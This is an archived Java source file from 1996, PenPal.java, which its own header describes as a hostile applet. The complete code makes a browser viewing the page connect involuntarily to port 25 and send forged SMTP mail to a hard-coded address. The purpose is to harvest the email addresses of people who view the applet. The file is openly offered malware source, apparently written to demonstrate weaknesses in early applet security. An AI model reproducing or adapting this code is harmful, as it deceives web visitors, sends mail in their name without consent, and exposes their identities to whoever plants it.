home *** CD-ROM | disk | FTP | other *** search
/ Reverse Code Engineering RCE CD +sandman 2000 / ReverseCodeEngineeringRceCdsandman2000.iso / RCE / Library / +ORC / Orc pac C / FILEZ.ZIP / PENPAL.JAV < prev   
Encoding:
Text File  |  1997-01-16  |  2.9 KB  |  93 lines

  1.  
  2. /* PenPal.java by Mark D. LaDue */
  3.  
  4. /* March 15, 1996 *
  5.  
  6. /*  Copyright (c) 1996 Mark D. LaDue
  7.     You may study, use, modify, and distribute this example for any purpose.
  8.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  9.  
  10. /*  This hostile applet forges an elctronic mail letter from the person who
  11.     views the applet in a browser to the person whose address appears in the
  12.     string "toMe."  The return address will be listed as
  13.     penpal@my.hostile.applet.  The appropriate commands to use for
  14.     sendmail can be often be found in the file /etc/mail/sendmail.hf.  
  15.     Note that while the person viewing the applet actually does initiate
  16.     the mail by connecting (involuntarily) to port 25, the applet host's role
  17.     in sending it is not so easily hidden.  See the full header of any e-mail
  18.     letter sent by the applet for more details.  By putting your address
  19.     in the string "toMe" and by scanning your incoming mail (with the
  20.     included shell script or another of your own), you can get the full
  21.     e-mail address, including the user name, of many people who view the
  22.     applet. */ 
  23.  
  24.  
  25. import java.applet.*;
  26. import java.io.*;
  27. import java.net.*;
  28.  
  29. public class PenPal extends java.applet.Applet implements Runnable { 
  30.  
  31.     public static Socket socker;
  32.     public static DataInputStream inner;
  33.     public static PrintStream outer;
  34.     public static int mailPort = 25 ;
  35.     public static String mailFrom = "my.hostile.applet";
  36.     public static String toMe = "mladue@math.gatech.edu"; //Change this please!
  37.     public static String starter = new String();
  38.     Thread controller = null;
  39.  
  40.     public void init() {
  41.  
  42.     try {
  43.         socker = new Socket(getDocumentBase().getHost(), mailPort);
  44.         inner = new DataInputStream(socker.getInputStream());
  45.         outer = new PrintStream(socker.getOutputStream());
  46.         }
  47.         catch (IOException ioe) {}
  48.     }
  49.  
  50.     public void start() {
  51.         if (controller == null) {
  52.             controller = new Thread(this);
  53.             controller.setPriority(Thread.MAX_PRIORITY);
  54.             controller.start();
  55.         }
  56.     }
  57.  
  58.     public void stop() {
  59.         if (controller != null) {
  60.             controller.stop();
  61.             controller = null;
  62.         }
  63.     }
  64.  
  65.     public void run() {
  66.         try {
  67.             starter = inner.readLine();
  68.         }
  69.         catch (IOException ioe) {}
  70.         mailMe("HELO " + mailFrom);
  71.         mailMe("MAIL FROM: " + "penpal@" + mailFrom);
  72.     mailMe("RCPT TO: " + toMe);
  73.     mailMe("DATA");
  74.         mailMe("Hey, it worked!" + "\n." + "\n");
  75.         mailMe("QUIT"); 
  76.         try {
  77.             socker.close();
  78.         }
  79.         catch (IOException ioe) {}
  80.     }
  81.  
  82.     public void mailMe(String toSend) {
  83.         String response = new String();
  84.         try {
  85.             outer.println(toSend);
  86.             outer.flush();
  87.             response = inner.readLine();
  88.         }
  89.         catch(IOException e) {}
  90.     }
  91. }
  92.  
  93.